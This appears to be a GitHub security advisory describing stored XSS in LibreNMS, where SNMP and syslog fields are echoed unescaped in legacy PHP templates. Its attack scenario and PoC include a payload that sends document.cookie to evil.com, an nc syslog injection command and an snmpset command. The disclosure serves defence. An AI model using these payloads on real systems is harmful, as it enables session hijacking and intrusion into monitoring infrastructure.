GHSA-7w8c-qgxg-m7jx: LibreNMS: stored XSS via unescaped SNMP/syslog data

## Summary Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages. ## Vulnerable Code ### Location 1: Syslog `program` field (clearest instance) **File:** `includes/html/print-syslog.inc.php:11,13` ```php $syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>'; ``` The `program` field is output without `htmlspecialchars()` while the adjacent `msg` field IS properly escaped. The `program` value comes from syslog messages received from monitored devices. ### Location 2: Alert details `ifAlias` (highest impact — main alerts page) **File:** `includes/html/functions.inc.php:607` ```php $fault_detail .= $tmp_alerts['ifAlias'] . '; '; ``` The `ifAlias` (port description) comes from SNMP polling and is stored in the `ports` table. When a port-related alert fires, `format_alert_details()` renders it unescaped. Multiple other fields in this function are also unescaped: `isisISAdjIPAddrAddress` (line 598), `service_desc`/`service_message` (lines 656,658), `bgpPeerDescr` (line 672), `mempool_descr` (line 686), `app_type` (line 709). ### Location 3: Health pages — `mempool_descr`, `storage_descr`, `sensor_descr` **File:** `includes/html/pages/device/health/mempool.inc.php:38` ```php echo "<h3 class='panel-title'>{$mempool->mempool_descr} ..."; ``` **File:** `includes/html/pages/device/health/storage.inc.php:27` ```php echo "<h3 class='panel-title'>{$drive['storage_descr']} ..."; ``` **File:** `includes/html/pages/device/health/sensors.inc.php:29` ```php echo "<h3 class='panel-title'>$sensor_descr ..."; ``` All three health page templates output SNMP-polled descriptions directly into `<h3>` tags without escaping. ### Location 4: Pseudowires `ifAlias` **File:** `includes/html/pages/pseudowires.inc.php:76` ```php echo "<tr ...><td colspan=2>" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>'; ``` ### Location 5: VRF page `ifAlias` **File:** `includes/html/pages/routing/vrf.inc.php:165` ```php echo "<div style='font-size: 9px;'>" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>'; ``` ## Data Flow ``` Attacker-controlled SNMP device/syslog source → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write) → OR syslog receiver stores program field in syslog table → Authenticated user views alerts/health/syslog page → Legacy PHP template echoes raw value into HTML → XSS executes in victim's browser session ``` ## Attack Scenario 1. Attacker compromises or controls a network device monitored by LibreNMS 2. Attacker configures the device's SNMP interface description (ifAlias) to: `<img src=x onerror="fetch('https://evil.com/'+document.cookie)">` 3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the `ports` table 4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page 5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page ## PoC ### Syslog vector (simplest) ```bash # Send syslog message with XSS in program field # Assuming LibreNMS syslog receiver is at 10.0.0.1:514 echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514 ``` ### SNMP vector ```bash # On attacker-controlled SNMP device, set interface description: # snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>' # LibreNMS will poll this during next discovery/polling cycle ``` ## Contrast with Properly Escaped Code Newer Blade templates and some legacy code properly escape SNMP data: - `includes/html/dev-overview-data.inc.php` uses `Clean::html()` for sysDescr, sysName, hardware - `app/Http/Controllers/Device/Tabs/PortsController.php` uses `htmlentities()` on ifAlias - `app/Http/Controllers/Table/EventlogController.php:97` uses `htmlspecialchars()` on message - All Blade templates use `{{ }}` auto-escaping The vulnerability exists specifically in the legacy `includes/html/` PHP files that have not been migrated to Blade.

An attacker gains control of a network device already being monitored by LibreNMS (e.g., a compromised switch, or a vendor-managed appliance with weak default SNMP community strings) and sets its ifAlias (port description) via `snmpset` to a payload like `<img src=x onerror="fetch('https://evil.com/'+document.cookie)">`. On the next SNMP polling cycle, LibreNMS stores this unsanitized value in the `ports` table. When a port-related alert later fires, an authenticated LibreNMS administrator viewing the alerts page has the payload execute in their browser session, exfiltrating their session cookie to the attacker, who can then hijack the admin session to pivot further into the monitored network's visibility and credentials. A simpler variant sends a crafted syslog message with the XSS payload in the `program` field directly to the LibreNMS syslog receiver, requiring no device compromise at all — just network reachability to the syslog port.